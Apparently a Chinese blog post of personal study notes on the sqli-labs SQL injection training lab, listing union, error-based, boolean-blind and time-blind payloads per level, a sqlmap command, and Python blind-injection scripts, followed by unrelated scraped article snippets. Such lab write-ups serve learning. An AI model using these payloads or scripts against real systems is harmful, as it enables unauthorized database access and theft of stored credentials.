0X00:前言

sqli-labs是一个学习SQL注入的开源平台,共有75中不同类型的注入。源码可到github上搜索sqli-libs找到

0X01:Page-1基础挑战

0X02:每一关的payloads

LV1:

id=1'

id=1' order by 3--

id=-1' union select 1,2,3--          注:-1

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--      //列名

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--       //表users中的列名

id=-1' union select 1,username,password from users where id=1--

LV2:

id=1'

上一题是  near '1' limit 0,1' at line 1

第二题是数字型注入,没有单引号,payload与1相同

LV3:

id=1'

id=1') or 1=1--

id=1') order by 3--

id=-1') union select 1,2,3--     //注-1

id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

payload和上面相同

LV4:

id=1'   //没反应

id=1"   //

id=1")

猜测:select * from users where id = ("input") LIMIT 0,1;

id=1") order by 3--

payload和上面相同

LV5:

?id=1'

猜测:select * from uesrs where id = 'input' LIMIT 0,1

?id=1' and '1'='1

有结果:

?id=1' and '1'='2

没有结果:

猜测是bool盲注,我把源码改了-_-返回you are in.....改为YES!!!  没有结果改为NO!!!

?id=1' and length(database())=8--   //得到数据库长度

LV5和LV6都是盲注,lv5是单引号,lv6是双引号

LV5:还可以用报错注入

?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

LV7:dump into outfile

使用文件导出

?id=1')) and length(database())=8--    //发现可以用盲注

但是题目的意思是文件

LV8:时间、布尔盲注

?id=1' and payloads

LV9:时间盲注

LV10:时间盲注

LV11:报错注入

paylaods:username和password都存在注入

payloads:

  • uname=1&passwd=1'

出现报错

数据库中执行SQL时,因为多了一个单引号而报错,并且程序直接将错误信息输出到了页面,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()

  • uname=1passwd=1' union select 1,2#(发现有两列显示错误)
  • 数据库:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
  • 数据表:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
  • 查字段:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
  • 字段值:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)#

可以改变limit 的参数查看不同的值,也可以用python爆破处所有值

其他报错注入:一次报错,显示所有的信息,不需要limit,每次只能一行信息

uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
uname=1&passwd=1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#
返回结果:

详细请看这里:

LV12:报错注入

流程与11相同,变化:1")

LV13:报错注入或者盲注

有报错注入,可选择盲注

uname=1%27&passwd=1') or 1=1#

uname=1&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

盲注:uname=1&passwd=1') or ascii(substr((database()),1,1))>100#

想写脚本的,发现页面返回都是一样的,不知道时间盲注可不可以感觉可以,但是不想弄-_-\-_-

还可以用sqlmap试一下,发现新技能

(1)用burp抓包POST数据,将数据保存到13.txt中

(2)新认识sqlmap的参数 -technique这个参数可以指定sqlmap使用探测技术,默认情况下会使用所有方式

  • B: Boolean-based blind SQL injection(布尔型注入)
  • E: Error-based SQL injection(报错型注入)
  • U: UNION query SQL injection(可联合查询注入)
  • S: Stacked queries SQL injection(可多语句查询注入)
  • T: Time-based blind SQL injection(基于时间延迟注入)

(3)payload:

python2 sqlmap.py -r "13.txt" --technique E --batch -v 3 --current-db

不过试了一下python2 sqlmap.py --current-db也有答案-_-

LV14:与13基本相同用双引号闭合     1"

LV15:布尔注入,时间盲注

uname=1&passwd=1' or 1=1#

成功登录,试了上面题目的报错注入,都没有报错,题目也提示布尔盲注和时间盲注

uname=1&passwd=1' or left(database(),1)='s'#

还是那个问题,这要都用手注,那岂不是很多。写脚本布尔盲注又不知道怎么分类(返回文本中没有对错,登录成功失败是图片啊,可能我技术不够)。

!!!就在写上句话的时候我看到了两个图片名字不一样哈哈哈哈

下面是获得数据库名和数据表名的脚本,但是一次只能获取一个数据表,获取其他数据表需要改limit后面的参数

#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session()
def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or substr(database(),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
dbname += j
print(dbname)
break
def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
tablename += j
print(tablename)
break
getdb()
gettable()

时间盲注:把布尔盲注的代码差不多,存在的问题也是一次只能查询一个数据表

#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session() def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or if(substr(database(),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
dbname += j
print(dbname)
break def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
tablename += j
print(tablename)
break
#getdb()
gettable()

LV16:双引号闭合

注入类型与LV15相同

uname=1&passwd=1") or 1=1#

LV17:

0Xff:总结

未完待续,11题报错注入还没完成,这个报错注入必须要搞定;第七题文件问题还没搞懂;还剩6题没做;还有其他难度。自己效率还是太低了(2019-08-16-19:26:05)

sqli-libs笔记Page-1(Basic Challenges)的更多相关文章

  1. [IR课程笔记]Page Rank

    主要目的: 在网络信息检索中,对每个文档的重要性作出评价. Basic Idea: 如果有许多网页链接到某一个网页,那么这个网页比较重要. 如果某个网页被一个权重较大的网页链接,那么这个网页比较重要. ...

  2. Xamarin 学习笔记 - Page(页面)

    本文翻译自CodeProject文章:https://www.codeproject.com/Articles/1226447/Xamarin-Notes-Xamarin-Forms-Pages 转载 ...

  3. Spring Security笔记:HTTP Basic 认证

    在第一节 Spring Security笔记:Hello World 的基础上,只要把Spring-Security.xml里改一个位置 <http auto-config="true ...

  4. Vaadin学习笔记——Page、UI和View在用法上的区别

    前言 在Vaadin技术框架中会出现三种不同的类,用于架构Web应用.它们分别是:Page.UI.View.本文将对这三者从使用角度进行比较,试图分析三者的异同.本文完全原创,我可不是在强调版权,我只 ...

  5. SQLi-LABS Page-1(Basic Challenges) Less11-Less22

    Less-11 GET - Blind - Time based - double quotes http://10.10.202.112/sqli/Less-11/ 尝试登录: username:a ...

  6. SQLi-LABS Page-1(Basic Challenges) Less5-Less10

    Less5 GET - Double Injection - Single Quotes http://10.10.202.112/sqli/Less-5?id=1 http://10.10.202. ...

  7. SQLi-LABS Page-1(Basic Challenges) Less1-Less4

    Less-1 GET - Error based - Single quotes - Stri http://10.10.202.112/sqli/Less-1?id=1 http://10.10.2 ...

  8. 【靶场练习_sqli-labs】SQLi-LABS Page-1(Basic Challenges)

    GET篇 Less-1:  1.用order by得出待查表里有三个字段 http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3 ...

  9. Go xmas2020 学习笔记 00-03、Basic Types

    00-02-Hello Example. 目录结构. 不一样的Hello World. 巧妙的单元测试. 传入os.Args切片. go mod init. 03-Basic Types. 变量类型与 ...

随机推荐

  1. Python之flask框架2

    Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务.本文参考自Flask官方文档,大部分代码引用自官方文档. 安装flask 首先我们来安装F ...

  2. java+selenium元素定位和元素操作

    1.元素定位 ID定位元素: findElement(By.id(“”)); 通过元素的名称定位元素: findElement(By.name(“”)); 通过元素的html中的位置定位元素: fin ...

  3. zz深度学习中的注意力模型

    中间表示: C -> C1.C2.C3 i:target -> IT j: source -> JS sim(Query, Key) -> Value Key:h_j,类似某种 ...

  4. BERT

    推出一个半月,斯坦福SQuAD问答榜单前六名都在使用BERT   BERT 成为了你做 NLP 时不得不用的模型了……吗? 今日,机器之心小编在刷 Twitter 时,发现斯坦福自然语言处理组的官方账 ...

  5. LG2598/BZOJ1412 「ZJOI2009」狼和羊的故事 最小割

    问题描述 LG2598 BZOJ1412 题解 看到要把狼和羊两个物种分开 自然想到最小割. 发现\((x,y)\)可以向上下左右走以获得贡献,所以建边:\((x,y),(x-1,y)\),\((x, ...

  6. Aliyun STS Java SDK示例

    package com.aliyun.oss.demo; import com.aliyuncs.DefaultAcsClient; import com.aliyuncs.exceptions.Cl ...

  7. 41 修改树莓派交换分区 SWAP 的大小

    http://blog.lxx1.com/3289 SWAP就是LINUX下的虚拟内存分区,它的作用是在物理内存使用完之后,将磁盘空间(也就是SWAP分区)虚拟成内存来使用.它和Windows系统的交 ...

  8. 实现 Cloneable 需要注意

    产品Product里面包含BaseInfo对象:Product(productName,companyName,baseinfo)如果implement Cloneable  需要实现   注意强转类 ...

  9. [ Python入门教程 ] Python基础语法

    Python的语法非常简练,因此用Python编写的程序可读性强.容易理解.本章将介绍Python的基本语法和概念. Python文件类型 1.源代码.Python的源代码的扩展名以py结尾,可直接运 ...

  10. CSP2019 Emiya 家今天的饭 题解

    这题在考场上只会O(n^3 m),拿了84分.. 先讲84分,考虑容斥,用总方案减去不合法方案,也就是枚举每一种食材,求用它做超过\(\lfloor \frac{k}{2} \rfloor\) 道菜的 ...